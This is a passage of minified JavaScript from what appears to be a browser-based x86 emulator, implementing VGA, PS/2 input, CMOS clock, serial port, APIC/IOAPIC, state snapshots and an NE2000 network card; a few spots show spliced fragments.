12:(this.start_address>>8&255)!==a&&(this.start_address=this.start_address&255|a<<8,this.update_layers(),~this.crtc_mode&3&&this.complete_replot());A(a);A(this.start_address,4);break;case 13:(this.start_address&255)!==a&&(this.start_address=this.start_address&65280|a,this.update_layers(),~this.crtc_mode&3&&this.complete_replot()); +A(a);A(this.start_address,4);break;case 14:A(a);this.cursor_address=this.cursor_address&255|a<<8;this.update_cursor();break;case 15:A(a);this.cursor_address=this.cursor_address&65280|a;this.update_cursor();break;case 18:A(a);(this.vertical_display_enable_end&255)!==a&&(this.vertical_display_enable_end=this.vertical_display_enable_end&768|a,this.update_vga_size());break;case 19:A(a);this.offset_register!==a&&(this.offset_register=a,this.update_vga_size(),~this.crtc_mode&3&&this.complete_replot()); +break;case 20:A(a);this.underline_location_register!==a&&(b=this.underline_location_register,this.underline_location_register=a,this.update_vga_size(),(b^a)&64&&this.complete_replot());break;case 21:A(a);(this.vertical_blank_start&255)!==a&&(this.vertical_blank_start=this.vertical_blank_start&768|a,this.update_vga_size());break;case 23:A(a);this.crtc_mode!==a&&(b=this.crtc_mode,this.crtc_mode=a,this.update_vga_size(),(b^a)&67&&this.complete_replot());break;case 24:A(a);this.line_compare=this.line_compare& +768|a;this.update_layers();break;default:this.index_crtc>7&2|this.vertical_blank_start>>5&8|this.line_compare>>4&16|this.vertical_display_enable_end>>3&64;case 8:return this.preset_row_scan;case 9:return this.max_scan_line;case 10:return this.cursor_scanline_start;case 11:return this.cursor_scanline_end;case 12:return this.start_address&255; +case 13:return this.start_address>>8;case 14:return this.cursor_address>>8;case 15:return this.cursor_address&255;case 18:return this.vertical_display_enable_end&255;case 19:return this.offset_register;case 20:return this.underline_location_register;case 21:return this.vertical_blank_start&255;case 23:return this.crtc_mode;case 24:return this.line_compare&255}return this.index_crtc=a?this.svga_version=a:A(a);break;case 1:this.svga_width=a;2560>>16;case 6:return this.screen_width?this.screen_width:1;case 8:return 0;case 9:return this.svga_offset_y;case 10:return this.vga_memory_size/65536|0;default:A(this.dispi_index)}return 255}; +M.prototype.vga_replot=function(){for(var a=this.diff_plot_min&-16,b=Math.min(this.diff_plot_max|15,524287),c=this.vga_addr_shift_count(),d=~this.crtc_mode&3,e=this.planar_mode&96,g=this.attribute_mode&64;a<=b;){var f=a>>>c;if(d){var k=a/this.virtual_width|0,l=a-this.virtual_width*k;switch(d){case 1:f=(k&1)<<13;k>>>=1;break;case 2:f=(k&1)<<14;k>>>=1;break;case 3:f=(k&3)<<13,k>>>=2}f|=(k*this.virtual_width+l>>>c)+this.start_address}k=this.plane0[f];l=this.plane1[f];var m=this.plane2[f],n=this.plane3[f]; +f=new Uint8Array(8);switch(e){case 0:k<<=0;l<<=1;m<<=2;n<<=3;for(var p=7;0<=p;p--)f[7-p]=k>>p&1|l>>p&2|m>>p&4|n>>p&8;break;case 32:f[0]=k>>6&3|m>>4&12;f[1]=k>>4&3|m>>2&12;f[2]=k>>2&3|m>>0&12;f[3]=k>>0&3|m<<2&12;f[4]=l>>6&3|n>>4&12;f[5]=l>>4&3|n>>2&12;f[6]=l>>2&3|n>>0&12;f[7]=l>>0&3|n<<2&12;break;case 64:case 96:f[0]=k>>4&15,f[1]=k>>0&15,f[2]=l>>4&15,f[3]=l>>0&15,f[4]=m>>4&15,f[5]=m>>0&15,f[6]=n>>4&15,f[7]=n>>0&15}if(g)for(k=p=0;4>p;p++,a++,k+=2)this.pixel_buffer[a]=f[k]<<4|f[k+1];else for(p=0;8>p;p++, +a++)this.pixel_buffer[a]=f[p]}}; +M.prototype.vga_redraw=function(){var a=this.diff_addr_min,b=Math.min(this.diff_addr_max,524287);const c=new Int32Array(this.cpu.wasm_memory.buffer,this.dest_buffet_offset,this.virtual_width*this.virtual_height);var d=255,e=0;this.attribute_mode&128&&(d&=207,e|=this.color_select<<4&48);if(this.attribute_mode&64)for(;a<=b;a++){var g=this.pixel_buffer[a]&d|e;g=this.vga256_palette[g];c[a]=g&65280|g<<16|g>>16|4278190080}else for(d&=63,e|=this.color_select<<4&192;a<=b;a++)g=this.dac_map[this.pixel_buffer[a]& +this.color_plane_enable]&d|e,g=this.vga256_palette[g],c[a]=g&65280|g<<16|g>>16|4278190080}; +M.prototype.screen_fill_buffer=function(){if(this.graphical_mode){if(0===this.image_data.data.byteLength){var a=new Uint8ClampedArray(this.cpu.wasm_memory.buffer,this.dest_buffet_offset,4*this.virtual_width*this.virtual_height);this.image_data=new ImageData(a,this.virtual_width,this.virtual_height);this.update_layers()}if(this.svga_enabled){a=0;let d=this.svga_height;if(8===this.svga_bpp){const e=new Int32Array(this.cpu.wasm_memory.buffer,this.dest_buffet_offset,this.screen_width*this.screen_height), +g=new Uint8Array(this.cpu.wasm_memory.buffer,this.svga_memory.byteOffset,this.vga_memory_size);for(var b=0;b>16|4278190080}}else this.cpu.svga_fill_pixel_buffer(this.svga_bpp,this.svga_offset),b=15===this.svga_bpp?2:this.svga_bpp/8,a=((this.cpu.svga_dirty_bitmap_min_offset[0]/b|0)-this.svga_offset)/this.svga_width|0,d=(((this.cpu.svga_dirty_bitmap_max_offset[0]/b|0)-this.svga_offset)/this.svga_width|0)+1;ab)<<5|(0>a)<<4|8|this.mouse_clicks;this.last_mouse_packet=Date.now();this.mouse_buffer.push(c);this.mouse_buffer.push(a);this.mouse_buffer.push(b);4===this.mouse_id?(this.mouse_buffer.push(0|this.wheel_movement&15),this.wheel_movement=0):3===this.mouse_id&&(this.mouse_buffer.push(this.wheel_movement&255),this.wheel_movement=0);this.raise_irq()}; +N.prototype.apply_scaling2=function(a){var b=a>>31;switch(Math.abs(a)){case 0:case 1:case 3:return a;case 2:return b;case 4:return 6*b;case 5:return 9*b;default:return a<<1}}; +N.prototype.port60_read=function(){this.next_byte_is_ready=!1;if(!this.kbd_buffer.length&&!this.mouse_buffer.length)return this.last_port60_byte;this.next_byte_is_aux?(this.cpu.device_lower_irq(12),this.last_port60_byte=this.mouse_buffer.shift()):(this.cpu.device_lower_irq(1),this.last_port60_byte=this.kbd_buffer.shift());A(this.last_port60_byte);(this.kbd_buffer.length||this.mouse_buffer.length)&&this.raise_irq();return this.last_port60_byte}; +N.prototype.port64_read=function(){var a=16;this.next_byte_is_ready&&(a|=1);this.next_byte_is_aux&&(a|=32);A(a);return a}; +N.prototype.port60_write=function(a){A(a);if(this.read_command_register)this.command_register=a,this.read_command_register=!1,A(this.command_register);else if(this.read_output_register)this.read_output_register=!1,this.mouse_buffer.clear(),this.mouse_buffer.push(a),this.mouse_irq();else if(this.next_read_sample){this.next_read_sample=!1;this.mouse_buffer.clear();this.mouse_buffer.push(250);this.sample_rate=a;switch(this.mouse_detect_state){case -1:60===a?(this.mouse_reset_workaround=!0,this.mouse_detect_state= +0):(this.mouse_reset_workaround=!1,this.mouse_detect_state=200===a?1:0);break;case 0:200===a&&(this.mouse_detect_state=1);break;case 1:this.mouse_detect_state=100===a?2:200===a?3:0;break;case 2:80===a&&(this.mouse_id=3);this.mouse_detect_state=-1;break;case 3:80===a&&(this.mouse_id=4),this.mouse_detect_state=-1}A(a);A(this.mouse_id);this.sample_rate||(this.sample_rate=100);this.mouse_irq()}else if(this.next_read_resolution)this.next_read_resolution=!1,this.mouse_buffer.clear(),this.mouse_buffer.push(250), +this.resolution=3>7});a.io.register_write(113,this,this.cmos_port_write);a.io.register_read(113,this,this.cmos_port_read)} +va.prototype.get_state=function(){var a=[];a[0]=this.cmos_index;a[1]=this.cmos_data;a[2]=this.rtc_time;a[3]=this.last_update;a[4]=this.next_interrupt;a[5]=this.next_interrupt_alarm;a[6]=this.periodic_interrupt;a[7]=this.periodic_interrupt_time;a[8]=this.cmos_a;a[9]=this.cmos_b;a[10]=this.cmos_c;a[11]=this.nmi_disabled;return a}; +va.prototype.set_state=function(a){this.cmos_index=a[0];this.cmos_data=a[1];this.rtc_time=a[2];this.last_update=a[3];this.next_interrupt=a[4];this.next_interrupt_alarm=a[5];this.periodic_interrupt=a[6];this.periodic_interrupt_time=a[7];this.cmos_a=a[8];this.cmos_b=a[9];this.cmos_c=a[10];this.nmi_disabled=a[11]}; +va.prototype.timer=function(a){a=Date.now();this.rtc_time+=a-this.last_update;this.last_update=a;this.periodic_interrupt&&this.next_interrupt>4&15)};va.prototype.encode_time=function(a){return this.cmos_b&4?a:this.bcd_pack(a)};va.prototype.decode_time=function(a){return this.cmos_b&4?a:this.bcd_unpack(a)}; +va.prototype.cmos_port_read=function(){var a=this.cmos_index;switch(a){case 0:return this.encode_time((new Date(this.rtc_time)).getUTCSeconds());case 2:return this.encode_time((new Date(this.rtc_time)).getUTCMinutes());case 4:return this.encode_time((new Date(this.rtc_time)).getUTCHours());case 7:return this.encode_time((new Date(this.rtc_time)).getUTCDate());case 8:return this.encode_time((new Date(this.rtc_time)).getUTCMonth()+1);case 9:return this.encode_time((new Date(this.rtc_time)).getUTCFullYear()% +100);case 10:return 999<=D.microtick()%1E3?this.cmos_a|128:this.cmos_a;case 11:return this.cmos_b;case 12:return this.cpu.device_lower_irq(8),a=this.cmos_c,this.cmos_c&=-241,a;case 13:return 0;case 50:return this.encode_time((new Date(this.rtc_time)).getUTCFullYear()/100|0);default:return A(a),this.cmos_data[this.cmos_index]}}; +va.prototype.cmos_port_write=function(a){switch(this.cmos_index){case 10:this.cmos_a=a&127;this.periodic_interrupt_time=1E3/(32768>>(this.cmos_a&15)-1);A(this.cmos_a,2);break;case 11:this.cmos_b=a;this.cmos_b&64&&(this.next_interrupt=Date.now());if(this.cmos_b&32){a=new Date;const b=this.decode_time(this.cmos_data[1]),c=this.decode_time(this.cmos_data[3]),d=this.decode_time(this.cmos_data[5]);this.next_interrupt_alarm=+new Date(Date.UTC(a.getUTCFullYear(),a.getUTCMonth(),a.getUTCDate(),d,c,b))}A(this.cmos_b, +2);break;case 1:case 3:case 5:this.cmos_write(this.cmos_index,a);break;default:A(this.cmos_index),A(a)}this.periodic_interrupt=64===(this.cmos_b&64)&&0<(this.cmos_a&15)};va.prototype.cmos_read=function(a){return this.cmos_data[a]};va.prototype.cmos_write=function(a,b){A(a);A(b);this.cmos_data[a]=b};function wa(a,b,c){this.bus=c;this.cpu=a;this.ints=4;this.line_control=this.baud_rate=0;this.lsr=96;this.ier=this.fifo_control=0;this.iir=1;this.irq=this.scratch_register=this.modem_status=this.modem_control=0;this.input=[];this.current_line="";switch(b){case 1016:this.com=0;this.irq=4;break;case 760:this.com=1;this.irq=3;break;case 1E3:this.com=2;this.irq=4;break;case 744:this.irq=this.com=3;break;default:J("Invalid serial port: "+A(b),16384),this.com=0,this.irq=4}this.bus.register("serial"+this.com+ +"-input",function(d){this.data_received(d)},this);this.bus.register("serial"+this.com+"-modem-status-input",function(d){this.set_modem_status(d)},this);this.bus.register("serial"+this.com+"-carrier-detect-input",function(d){this.set_modem_status(d?this.modem_status|136:this.modem_status&-137)},this);this.bus.register("serial"+this.com+"-ring-indicator-input",function(d){this.set_modem_status(d?this.modem_status|68:this.modem_status&-69)},this);this.bus.register("serial"+this.com+"-data-set-ready-input", +function(d){this.set_modem_status(d?this.modem_status|34:this.modem_status&-35)},this);this.bus.register("serial"+this.com+"-clear-to-send-input",function(d){this.set_modem_status(d?this.modem_status|17:this.modem_status&-18)},this);a=a.io;a.register_write(b,this,function(d){this.write_data(d)},function(d){this.write_data(d&255);this.write_data(d>>8)});a.register_write(b|1,this,function(d){this.line_control&128?(this.baud_rate=this.baud_rate&255|d<<8,A(this.baud_rate)):(0===(this.ier&2)&&d&2&&this.ThrowInterrupt(2), +this.ier=d&15,A(d),this.CheckInterrupt())});a.register_read(b,this,function(){if(this.line_control&128)return this.baud_rate&255;let d=0;0!==this.input.length&&(d=this.input.shift(),A(d));0===this.input.length&&(this.lsr&=-2,this.ClearInterrupt(12),this.ClearInterrupt(4));return d});a.register_read(b|1,this,function(){return this.line_control&128?this.baud_rate>>8:this.ier&15});a.register_read(b|2,this,function(){var d=this.iir&15;A(this.iir);2==this.iir&&this.ClearInterrupt(2);this.fifo_control& +1&&(d|=192);return d});a.register_write(b|2,this,function(d){A(d);this.fifo_control=d});a.register_read(b|3,this,function(){A(this.line_control);return this.line_control});a.register_write(b|3,this,function(d){A(d);this.line_control=d});a.register_read(b|4,this,function(){return this.modem_control});a.register_write(b|4,this,function(d){A(d);this.modem_control=d});a.register_read(b|5,this,function(){A(this.lsr);return this.lsr});a.register_write(b|5,this,function(){});a.register_read(b|6,this,function(){A(this.modem_status); +return this.modem_status&=240});a.register_write(b|6,this,function(d){A(d);this.set_modem_status(d)});a.register_read(b|7,this,function(){return this.scratch_register});a.register_write(b|7,this,function(d){this.scratch_register=d})}wa.prototype.get_state=function(){var a=[];a[0]=this.ints;a[1]=this.baud_rate;a[2]=this.line_control;a[3]=this.lsr;a[4]=this.fifo_control;a[5]=this.ier;a[6]=this.iir;a[7]=this.modem_control;a[8]=this.modem_status;a[9]=this.scratch_register;a[10]=this.irq;return a}; +wa.prototype.set_state=function(a){this.ints=a[0];this.baud_rate=a[1];this.line_control=a[2];this.lsr=a[3];this.fifo_control=a[4];this.ier=a[5];this.iir=a[6];this.modem_control=a[7];this.modem_status=a[8];this.scratch_register=a[9];this.irq=a[10]}; +wa.prototype.CheckInterrupt=function(){this.ints&4096&&this.ier&1?(this.iir=12,this.cpu.device_raise_irq(this.irq)):this.ints&16&&this.ier&1?(this.iir=4,this.cpu.device_raise_irq(this.irq)):this.ints&4&&this.ier&2?(this.iir=2,this.cpu.device_raise_irq(this.irq)):this.ints&1&&this.ier&8?(this.iir=0,this.cpu.device_raise_irq(this.irq)):(this.iir=1,this.cpu.device_lower_irq(this.irq))};wa.prototype.ThrowInterrupt=function(a){this.ints|=1<>4;this.modem_status=a;this.modem_status=this.modem_status|c|b};function xa(a){this.cpu=a;var b=a.io;a.devices.pci.register_device({pci_id:56,pci_space:[134,128,19,113,7,0,128,2,8,0,128,6,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,9,1,0,0],pci_bars:[],name:"acpi"});this.timer_imprecision_offset=this.timer_last_value=0;this.status=1;this.pm1_enable=this.pm1_status=0;this.last_timer=this.get_timer(D.microtick());this.gpe=new Uint8Array(4);b.register_read(45056,this,void 0,function(){return this.pm1_status}); +b.register_write(45056,this,void 0,function(c){A(c,4);this.pm1_status&=~c});b.register_read(45058,this,void 0,function(){return this.pm1_enable});b.register_write(45058,this,void 0,function(c){A(c);this.pm1_enable=c});b.register_read(45060,this,void 0,function(){return this.status});b.register_write(45060,this,void 0,function(c){A(c);this.status=c});b.register_read(45064,this,void 0,void 0,function(){return this.get_timer(D.microtick())&16777215});b.register_read(45024,this,function(){return this.gpe[0]}); +b.register_read(45025,this,function(){return this.gpe[1]});b.register_read(45026,this,function(){return this.gpe[2]});b.register_read(45027,this,function(){return this.gpe[3]});b.register_write(45024,this,function(c){A(c);this.gpe[0]=c});b.register_write(45025,this,function(c){A(c);this.gpe[1]=c});b.register_write(45026,this,function(c){A(c);this.gpe[2]=c});b.register_write(45027,this,function(c){A(c);this.gpe[3]=c})} +xa.prototype.timer=function(a){a=this.get_timer(a);var b=0!==((a^this.last_timer)&8388608);this.pm1_enable&1&&b?(this.pm1_status|=1,this.cpu.device_raise_irq(9)):this.cpu.device_lower_irq(9);this.last_timer=a;return 100}; +xa.prototype.get_timer=function(a){a=Math.round(3579.545*a);a===this.timer_last_value?3579.545>this.timer_imprecision_offset&&this.timer_imprecision_offset++:this.timer_last_value+this.timer_imprecision_offset<=a&&(this.timer_imprecision_offset=0,this.timer_last_value=a);return this.timer_last_value+this.timer_imprecision_offset};xa.prototype.get_state=function(){var a=[];a[0]=this.status;a[1]=this.pm1_status;a[2]=this.pm1_enable;a[3]=this.gpe;return a}; +xa.prototype.set_state=function(a){this.status=a[0];this.pm1_status=a[1];this.pm1_enable=a[2];this.gpe=a[3]};function O(a){this.cpu=a;this.timer_divider=this.apic_id=0;this.timer_divider_shift=1;this.timer_current_count=this.timer_initial_count=0;this.next_tick=D.microtick();this.lvt_error=this.lvt_int1=this.lvt_int0=this.lvt_perf_counter=this.lvt_timer=65536;this.icr1=this.icr0=this.tpr=0;this.irr=new Int32Array(8);this.isr=new Int32Array(8);this.tmr=new Int32Array(8);this.spurious_vector=254;this.destination_format=-1;this.read_error=this.error=this.local_destination=0;a.io.mmap_register(4276092928,1048576, +b=>{A(b>>>0);var c=b&3;return this.read32(b&-4)>>8*c&255},(b,c)=>{A(b);A(c)},b=>this.read32(b),(b,c)=>this.write32(b,c))} +O.prototype.read32=function(a){a=a-4276092928|0;switch(a){case 32:return this.apic_id;case 48:return 327700;case 128:return this.tpr;case 208:return this.local_destination;case 224:return this.destination_format;case 240:return this.spurious_vector;case 256:case 272:case 288:case 304:case 320:case 336:case 352:case 368:return a=a-256>>4,A(this.isr[a]>>>0,8),this.isr[a];case 384:case 400:case 416:case 432:case 448:case 464:case 480:case 496:return a=a-384>>4,A(this.tmr[a]>>>0,8),this.tmr[a];case 512:case 528:case 544:case 560:case 576:case 592:case 608:case 624:return a= +a-512>>4,A(this.irr[a]>>>0,8),this.irr[a];case 640:return A(this.read_error>>>0,8),this.read_error;case 768:return this.icr0;case 784:return this.icr1;case 800:return this.lvt_timer;case 832:return this.lvt_perf_counter;case 848:return this.lvt_int0;case 864:return this.lvt_int1;case 880:return this.lvt_error;case 992:return this.timer_divider;case 896:return this.timer_initial_count;case 912:return A(this.timer_current_count>>>0,8),this.timer_current_count;default:return A(a),0}}; +O.prototype.write32=function(a,b){a=a-4276092928|0;switch(a){case 48:A(b>>>0,8);break;case 128:this.tpr=b&255;this.check_vector();break;case 176:b=this.highest_isr();-1!==b&&(this.register_clear_bit(this.isr,b),this.register_get_bit(this.tmr,b)&&this.cpu.devices.ioapic.remote_eoi(b),this.check_vector());break;case 208:A(b>>>0,8);this.local_destination=b&4278190080;break;case 224:A(b>>>0,8);this.destination_format=b|16777215;break;case 240:A(b>>>0,8);this.spurious_vector=b;break;case 640:A(b>>>0,8); +this.read_error=this.error;this.error=0;break;case 768:a=b&255;var c=b>>8&7,d=b>>11&1,e=b>>15&1,g=b>>18&3,f=this.icr1>>>24;A(b,8);A(a,2);this.icr0=b&-4097;0===g?this.route(a,c,e,f,d):1===g?this.deliver(a,0,e):2===g&&this.deliver(a,c,e);break;case 784:A(b>>>0,8);this.icr1=b;break;case 800:A(b>>>0,8);this.lvt_timer=b;break;case 832:A(b>>>0,8);this.lvt_perf_counter=b;break;case 848:A(b>>>0,8);this.lvt_int0=b;break;case 864:A(b>>>0,8);this.lvt_int1=b;break;case 880:A(b>>>0,8);this.lvt_error=b;break;case 992:A(b>>> +0,8);this.timer_divider=b;b=b&3|(b&8)>>1;this.timer_divider_shift=7===b?0:b+1;break;case 896:A(b>>>0,8);this.timer_initial_count=b>>>0;this.timer_current_count=b>>>0;this.next_tick=D.microtick();this.timer_active=!0;break;case 912:A(b>>>0,8);break;default:A(a),A(b>>>0,8)}}; +O.prototype.timer=function(a){if(0===this.timer_current_count)return 100;const b=1E6/(1<>>0;this.next_tick+=a/b;this.timer_current_count-=a;0>=this.timer_current_count&&(a=this.lvt_timer&393216,131072===a?(this.timer_current_count%=this.timer_initial_count,0>=this.timer_current_count&&(this.timer_current_count+=this.timer_initial_count),0===(this.lvt_timer&65536)&&this.deliver(this.lvt_timer&255,0,!1)):0===a&&(this.timer_current_count=0,0===(this.lvt_timer& +65536)&&this.deliver(this.lvt_timer&255,0,!1)));return Math.max(0,this.timer_current_count/b)};O.prototype.route=function(a,b,c){this.deliver(a,b,c)};O.prototype.deliver=function(a,b,c){5!==b&&4!==b&&(this.register_get_bit(this.irr,a)?A(a,2):(this.register_set_bit(this.irr,a),c?this.register_set_bit(this.tmr,a):this.register_clear_bit(this.tmr,a),this.check_vector()))};O.prototype.highest_irr=function(){return this.register_get_highest_bit(this.irr)};O.prototype.highest_isr=function(){return this.register_get_highest_bit(this.isr)}; +O.prototype.check_vector=function(){var a=this.highest_irr();-1!==a&&(this.highest_isr()>=a||(a&240)<=(this.tpr&240)||this.cpu.handle_irqs())};O.prototype.acknowledge_irq=function(){var a=this.highest_irr();if(-1===a||this.highest_isr()>=a||(a&240)<=(this.tpr&240))return-1;this.register_clear_bit(this.irr,a);this.register_set_bit(this.isr,a);this.check_vector();return a}; +O.prototype.get_state=function(){var a=[];a[0]=this.apic_id;a[1]=this.timer_divider;a[2]=this.timer_divider_shift;a[3]=this.timer_initial_count;a[4]=this.timer_current_count;a[5]=this.next_tick;a[6]=this.lvt_timer;a[7]=this.lvt_perf_counter;a[8]=this.lvt_int0;a[9]=this.lvt_int1;a[10]=this.lvt_error;a[11]=this.tpr;a[12]=this.icr0;a[13]=this.icr1;a[14]=this.irr;a[15]=this.isr;a[16]=this.tmr;a[17]=this.spurious_vector;a[18]=this.destination_format;a[19]=this.local_destination;a[20]=this.error;a[21]= +this.read_error;return a}; +O.prototype.set_state=function(a){this.apic_id=a[0];this.timer_divider=a[1];this.timer_divider_shift=a[2];this.timer_initial_count=a[3];this.timer_current_count=a[4];this.next_tick=a[5];this.lvt_timer=a[6];this.lvt_perf_counter=a[7];this.lvt_int0=a[8];this.lvt_int1=a[9];this.lvt_error=a[10];this.tpr=a[11];this.icr0=a[12];this.icr1=a[13];this.irr=a[14];this.isr=a[15];this.tmr=a[16];this.spurious_vector=a[17];this.destination_format=a[18];this.local_destination=a[19];this.error=a[20];this.read_error= +a[21]};O.prototype.register_get_bit=function(a,b){return a[b>>5]>>(b&31)&1};O.prototype.register_set_bit=function(a,b){a[b>>5]|=1<<(b&31)};O.prototype.register_clear_bit=function(a,b){a[b>>5]&=~(1<<(b&31))};O.prototype.register_get_highest_bit=function(a){for(var b=7;0<=b;b--){var c=a[b];if(c)return r.int_log2(c>>>0)|b<<5}return-1};function ya(a){this.cpu=a;this.ioredtbl_config=new Int32Array(24);this.ioredtbl_destination=new Int32Array(24);for(var b=0;b{c=c-4273995776|0;if(16<=c&&20>c)return c-=16,A(this.ioregsel),this.read(this.ioregsel)>>8*c&255;A(c>>>0);return 0},c=>{A(c>>>0)},c=>{c=c-4273995776|0;if(0===c)return this.ioregsel;if(16===c)return this.read(this.ioregsel); +A(c>>>0);return 0},(c,d)=>{c=c-4273995776|0;0===c?this.ioregsel=d:16===c?this.write(this.ioregsel,d):(A(c>>>0),A(d>>>0,8))})}ya.prototype.remote_eoi=function(a){for(var b=0;24>b;b++){var c=this.ioredtbl_config[b];(c&255)===a&&c&16384&&(A(b),this.ioredtbl_config[b]&=-16385,this.check_irq(b))}}; +ya.prototype.check_irq=function(a){var b=1<>8&7,e=this.ioredtbl_destination[a]>>>24;if(0===(c&32768))this.irr&=~b;else if(this.ioredtbl_config[a]|=16384,c&16384)return;0!==d&&1!==d||this.cpu.devices.apic.route(c&255,d,32768===(c&32768),e,c>>11&1);this.ioredtbl_config[a]&=-4097}}}; +ya.prototype.set_irq=function(a){if(!(24<=a)){var b=1<a){var b=a-16>>1;a=a&1?this.ioredtbl_destination[b]:this.ioredtbl_config[b];A(b);A(a,8);return a}A(a);return 0}; +ya.prototype.write=function(a,b){if(0===a)this.ioapic_id=b>>>24&15;else if(1!==a&&2!==a)if(16<=a&&64>a){var c=a-16>>1;a&1?(this.ioredtbl_destination[c]=b&4278190080,A(b>>>0,8),A(c),A(b>>>24,2)):(this.ioredtbl_config[c]=b&110591|this.ioredtbl_config[c]&-110592,a=b&255,A(b>>>0,8),A(c),A(a,2),this.check_irq(c))}else A(a),A(b>>>0,8)}; +ya.prototype.get_state=function(){var a=[];a[0]=this.ioredtbl_config;a[1]=this.ioredtbl_destination;a[2]=this.ioregsel;a[3]=this.ioapic_id;a[4]=this.irr;a[5]=this.irq_value;return a};ya.prototype.set_state=function(a){this.ioredtbl_config=a[0];this.ioredtbl_destination=a[1];this.ioregsel=a[2];this.ioapic_id=a[3];this.irr=a[4];this.irq_value=a[5]};function za(a){this.message=a}za.prototype=Error();const Aa={Uint8Array,Int8Array,Uint16Array,Int16Array,Uint32Array,Int32Array,Float32Array,Float64Array}; +function Ba(a,b){if("object"!==typeof a||null===a)return a;if(a instanceof Array)return a.map(e=>Ba(e,b));a.constructor===Object&&console.log(a);if(a.BYTES_PER_ELEMENT){var c=new Uint8Array(a.buffer,a.byteOffset,a.length*a.BYTES_PER_ELEMENT);return{__state_type__:a.constructor.name.replace("bound ",""),buffer_id:b.push(c)-1}}a=a.get_state();c=[];for(var d=0;dq)throw new za("Invalid length: "+q);p=new Int32Array(p.buffer,p.byteOffset,4);if(-2039052682!==p[0])throw new za("Invalid header: "+A(p[0]>>>0));if(6!==p[1])throw new za("Version mismatch: dump="+p[1]+" we=6");if(t&&p[2]!==q)throw new za("Length doesn't match header: real="+q+" header="+p[2]);return p[3]}function c(p){p=(new TextDecoder).decode(p);return JSON.parse(p)}a=new Uint8Array(a);if(4247762216===(new Uint32Array(a.buffer, +0,1))[0]){var d=this.zstd_create_ctx(a.length);(new Uint8Array(this.wasm_memory.buffer,this.zstd_get_src_ptr(d),a.length)).set(a);var e=this.zstd_read(d,16),g=new Uint8Array(this.wasm_memory.buffer,e,16),f=b(g,!1);this.zstd_read_free(e,16);e=this.zstd_read(d,f);g=new Uint8Array(this.wasm_memory.buffer,e,f);g=c(g);this.zstd_read_free(e,f);e=g.state;var k=g.buffer_infos;g=[];f=16+f;for(var l of k){k=(f+3&-4)-f;if(1048576d||d+12>=a.length)throw new za("Invalid info block length: "+d);l=a.subarray(16,16+d);e=c(l);l=e.state;e= +e.buffer_infos;let p=16+d;p=p+3&-4;d=e.map(t=>{const q=p+t.offset;return a.buffer.slice(q,q+t.length)});l=Ca(l,d);this.set_state(l)}};function Da(a,b,c){a[0]===b[0]&&a[1]===b[1]&&a[2]===b[2]&&a[3]===b[3]&&a[4]===b[4]&&a[5]===b[5]&&(a[0]=c[0],a[1]=c[1],a[2]=c[2],a[3]=c[3],a[4]=c[4],a[5]=c[5]);a[6]===b[0]&&a[7]===b[1]&&a[8]===b[2]&&a[9]===b[3]&&a[10]===b[4]&&a[11]===b[5]&&(a[6]=c[0],a[7]=c[1],a[8]=c[2],a[9]=c[3],a[10]=c[4],a[11]=c[5]);var d=a[12]<<8|a[13];if(2048===d){if(a=a.subarray(14),4===a[0]>>4&&17===a[9]){a=a.subarray(20);d=a[0]<<8|a[1];var e=a[2]<<8|a[3];A(a[6]<<8|a[7],4);if(67===d||67===e)if(d=a.subarray(8),e=d[236]<<24|d[237]<< +16|d[238]<<8|d[239],1669485411!==e)A(e,8);else for(d[28]===b[0]&&d[29]===b[1]&&d[30]===b[2]&&d[31]===b[3]&&d[32]===b[4]&&d[33]===b[5]&&(d[28]=c[0],d[29]=c[1],d[30]=c[2],d[31]=c[3],d[32]=c[4],d[33]=c[5],a[6]=a[7]=0),e=240;e>8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,244,26,0,17,0,0,184,254,0,0,0,0,0,0,0,0,0,1,0,0];this.pci_id=40;this.pci_bars=[{size:32}];this.imr=this.isr=0;this.cr=1;this.tpsr=this.tcnt= +this.rcnt=this.dcfg=0;this.memory=new Uint8Array(32768);this.txcr=this.rxcr=0;this.tsr=1;this.mac=new Uint8Array([0,34,21,255*Math.random()|0,255*Math.random()|0,255*Math.random()|0]);this.mar=Uint8Array.of(255,255,255,255,255,255,255,255);this.mac_address_in_state=null;for(b=0;6>b;b++)this.memory[b<<1]=this.memory[b<<1|1]=this.mac[b];this.memory[28]=this.memory[29]=87;this.memory[30]=this.memory[31]=87;J("Mac: "+Ea(this.mac),1048576);this.rsar=0;this.pstart=64;this.pstop=128;this.boundary=this.curpg= +76;b=a.io;b.register_read(this.port|0,this,function(){return this.cr});b.register_write(this.port|0,this,function(e){this.cr=e;A(e,2);A(this.txcr,2);this.cr&1||(e&24&&0===this.rcnt&&this.do_interrupt(64),e&4&&(e=this.tpsr<<8,e=this.memory.subarray(e,e+this.tcnt),this.mac_address_in_state&&(e=new Uint8Array(e),Da(e,this.mac_address_in_state,this.mac)),this.bus.send("net0-send",e),this.bus.send("eth-transmit-end",[e.length]),this.cr&=-5,this.do_interrupt(2),A(e.byteLength)))});b.register_read(this.port| +13,this,function(){return 1===this.get_page()?this.mar[5]:0});b.register_read(this.port|14,this,function(){return 1===this.get_page()?this.mar[6]:0},function(){this.get_page();return 0});b.register_read(this.port|15,this,function(){return 1===this.get_page()?this.mar[7]:0});b.register_read(this.port|31,this,function(){this.get_page();this.do_interrupt(128);return 0});b.register_write(this.port|31,this,function(e){this.get_page();A(e,2)});b.register_read(this.port|1,this,function(){var e=this.get_page(); +return 0===e?this.pstart:1===e?this.mac[0]:2===e?this.pstart:0});b.register_write(this.port|1,this,function(e){var g=this.get_page();0===g?(A(e,2),this.pstart=e):1===g?(A(e),this.mac[0]=e):A(e)});b.register_read(this.port|2,this,function(){var e=this.get_page();return 0===e?this.pstop:1===e?this.mac[1]:2===e?this.pstop:0});b.register_write(this.port|2,this,function(e){var g=this.get_page();0===g?(A(e,2),e>this.memory.length>>8&&(e=this.memory.length>>8,A(e)),this.pstop=e):1===g?(A(e),this.mac[1]= +e):A(e)});b.register_read(this.port|7,this,function(){var e=this.get_page();return 0===e?(A(this.isr,2),this.isr):1===e?(A(this.curpg,2),this.curpg):0});b.register_write(this.port|7,this,function(e){var 